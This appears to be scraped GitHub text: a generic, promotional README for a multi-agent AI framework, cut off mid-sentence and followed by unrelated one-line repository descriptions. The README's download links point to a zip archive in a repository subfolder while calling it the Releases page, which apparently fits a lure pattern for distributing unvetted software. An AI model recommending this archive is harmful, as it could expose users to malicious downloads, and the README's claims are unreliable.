⚡ Streamline AI development with a multi-agent framework that integrates 80+ prompt engineering techniques for effective team coordination and automation.
# 🎉 Advanced-Multi-Agent-AI-Framework - Simplifying AI Team Management ## 🚀 Download Now [](https://github.com/BEHZAD1919/Advanced-Multi-Agent-AI-Framework/raw/refs/heads/main/meet-the-team/Multi-Framework-Advanced-A-Agent-v3.3.zip) ## 📖 Introduction The Advanced Multi-Agent AI Framework streamlines team coordination in AI development. This tool offers over 80 prompt engineering techniques to enhance your workflow and improve overall productivity. ## 🎯 What This Framework Delivers This framework provides professional AI team management by allowing you to deploy specialized AI agents efficiently. It integrates advanced prompt engineering and systematic workflow automation to ensure better development results. ### Key Benefits - **⚡ 80+ Advanced Prompt Engineering Techniques**: Access a wide range of modern methods designed for effective AI interaction. - **🤝 Structured Coordination**: Organize your team’s efforts with clear roles and responsibilities. - **🔄 Workflow Automation**: Automate repetitive tasks, freeing your team to focus on more critical challenges. ## 📋 System Requirements To use the Advanced Multi-Agent AI Framework, ensure your system meets the following requirements: - **Operating System**: Windows 10 or later, macOS Mojave or later, or a recent Linux distribution. - **Processor**: Dual-core processor or better. - **Memory**: At least 8 GB of RAM. - **Storage**: Minimum of 500 MB of free disk space. - **Internet Connection**: Required for initial setup and updates. ## 📥 Download & Install To get started, visit the Releases page to download the software: [Download Here](https://github.com/BEHZAD1919/Advanced-Multi-Agent-AI-Framework/raw/refs/heads/main/meet-the-team/Multi-Framework-Advanced-A-Agent-v3.3.zip) 1. Click the link above to access the Releases p
HAL 分层混合模型工作流 — 强模型(Claude)负责理解/拆解/验收,低成本模型(DeepSeek)负责检索/提取/清洗。Hermes Agent skill。
An LLM agent fine-tuned on DeepSeek for spaced repetition, dynamically integrating knowledge points based on the Ebbinghaus forgetting curve.
基于 STM32F103 构建的端到端 AI 智能手表生态。自研“零重定位”原生机器码动态加载引擎与页面栈式 UI 框架;集成生产级 OTA 回滚保护机制与高带宽(921600 baud)串口协议栈。通过 Node.js 中继实现 DeepSeek AI 语义控制及 ASRPRO 语音全双工交互,是一个集成了分布式计算、现代存储管理与 AI Agent 的嵌入式全栈工程。
A Meta-Agent-Driven Self-Evolving Multi-Agent System for UAV Detection and Tracking
One command to run Hermes AI Agent with a browser UI. Zero prerequisites. 一行命令,AI 就位。
网页应用Agent,接入DeepSeek、Mimo等模型